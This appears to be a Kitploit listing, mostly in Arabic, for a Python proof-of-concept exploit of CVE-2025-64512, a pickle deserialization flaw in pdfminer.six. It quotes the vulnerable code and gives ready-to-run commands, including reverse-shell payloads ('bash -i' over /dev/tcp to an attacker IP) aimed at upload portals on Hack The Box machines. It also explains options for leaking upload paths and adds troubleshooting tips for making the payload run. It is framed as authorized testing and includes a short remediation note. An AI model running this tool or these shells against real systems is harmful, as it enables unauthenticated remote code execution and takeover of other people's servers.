CVE-2025-64512_PoC — أداة PoC بلغة Python للثغرة CVE-2025-64512، وهي ثغرة تنفيذ تعليمات عن بُعد (RCE) عبر إلغاء تسلسل pickle في pdfminer.six. تُنشئ حمولات pickle مضغوطة بصيغة gzip وملفات PDF متعددة الصيغ (polyglot)، ثم تُرسلها إلى بوابات الرفع لإجراء اختبارات مصرّح بها. | Kitploit

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # → your uid

# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

الوسيطة	الغرض
`--command`	أمر shell للتنفيذ على الهدف (مطلوب). يعمل تحت `sh -c`، لذا تعمل الأنابيب/إعادة التوجيه/الأصداف الفرعية.
`--url`	نقطة نهاية الرفع التي تستقبل POSTs متعددة الأجزاء.
`--upload-url`	تجاوز هدف POST إذا ذهبت الرفعات إلى URL مختلف عن `--url`.
`--field`	اسم حقل multipart (اقرأ `<form>` HTML الخاص بالبوابة؛ الشائع: `uploadFile`، `file`).
`--path`	دليل من جانب الخادم مطلق حيث تصل الرفعات (مثل `/var/www/site/uploads`). يسمّي PDF الـ pickle هنا، لذا يجب أن يكون دقيقًا.
`--leak-path`	لا تعرف المسار؟ ارفع محتوى مشوّهًا واستخرجه من رسالة خطأ البوابة (العديد من البوابات تطبع الوجهة).
`--name`	الاسم الأساسي للملفات المُنشأة (افتراضي `shell`). عشوّنه إذا أعدت التشغيل لتجنب الملفات القديمة.
`--mode`	`two` (افتراضي) أو `polyglot` — انظر §2.
`--callback URL`	أضف طلب HTTP fetch إلى `URL` قبل أمرك؛ شغّل `python3 -m http.server 8000` وراقب الوصول. Oracle للتنفيذ.
`--wait N`	انتظر N ثانية بعد الرفع — طابق إيقاع معالجة الهدف (غالبًا ما يستطلع المراقبون/cron كل 30 ثانية؛ انتظر دورة كاملة قبل افتراض الفشل).
`--verify /uploads`	GET لكل ملف مرفوع بعد ذلك للتأكد من وصوله حيث يتوقعه PDF.
`--timeout`, `--out-dir`, `--no-upload`, `--selftest`	مهلة HTTP، دليل الإخراج المحلي، وضع التوليد فقط، التدريب المحلي.

echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # listener

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)

العَرَض	السبب / الإصلاح
`MIME type mismatch` عند الرفع	البوابة تفحص المحتوى، وليس الامتداد فقط. كلا الحمولتين gzip حقيقي / PDF حقيقي — تحقق من أنك لم تقطعهما؛ يجب أن يبدأ trigger بـ `%PDF-`، ويجب أن يُفكّ ضغط pickle (`gzip -t`).
الرفع ناجح، لا شيء يُنفَّذ	1) انتظر دورة مراقب/cron كاملة (`--wait 35`). 2) تأكد من أن pickle يمكن الوصول إليه في `<path>/<name>.pickle.gz` (`--verify`). 3) تحقق من أن العملية التي تشغّل pdfminer يمكنها قراءة ملفك. 4) استخدم `--callback` للحصول على إشارة تنفيذ قاطعة.
مسار الرفع غير معروف	`--leak-path`، أو أطلق أي خطأ تحقق واقرأ الرسالة.
polyglot لا يُشغَّل أبدًا	يجب أن يكون الملف المُحلَّل هو نفس الملف المنتهي بـ `.pickle.gz`. إذا كان الهدف يحلل فقط رفعات `*.pdf`، استخدم `--mode two`.
`TypeError: type.__new__() argument 3 must be dict` في سجلات الهدف	هذا نجاح — نفّذ pdfminer الـ pickle الخاص بك ثم تعثّر في قيمة إرجاعه الخاصة. غير ضار.
الهدف مُرقَّع	pdfminer ≥ 20251107 يحمّل CMaps من JSON. لا شيء لاستغلاله هنا.

CVE	CVE-2025-64512
المتأثر	pdfminer.six < 20251107 (تم إصلاحه في 20251107 — أصبحت CMaps بصيغة JSON)
الضحايا التابعون	markitdown < 0.1.4، pdfplumber < 0.11.8
النوع	CWE-502 إلغاء تسلسل بيانات غير موثوقة → RCE بدون مصادقة
PoC المرجعي	luigigubello/CVE-2025-64512-Polyglot-PoC (نسخة polyglot أحادية الملف)

الأكثر شعبية

CVE-2025-64512_PoC

1. الثغرة، بعبارات مبسطة

2. ما الذي يفعله السكربت

3. التثبيت

4. الاستخدام

4.1 تدرّب محليًا أولاً

4.2 بوابة رفع عامة (بنمط Bedside)

4.3 مثال عملي — HTB Bedside

5. استكشاف الأخطاء وإصلاحها

6. المعالجة (للمدافعين)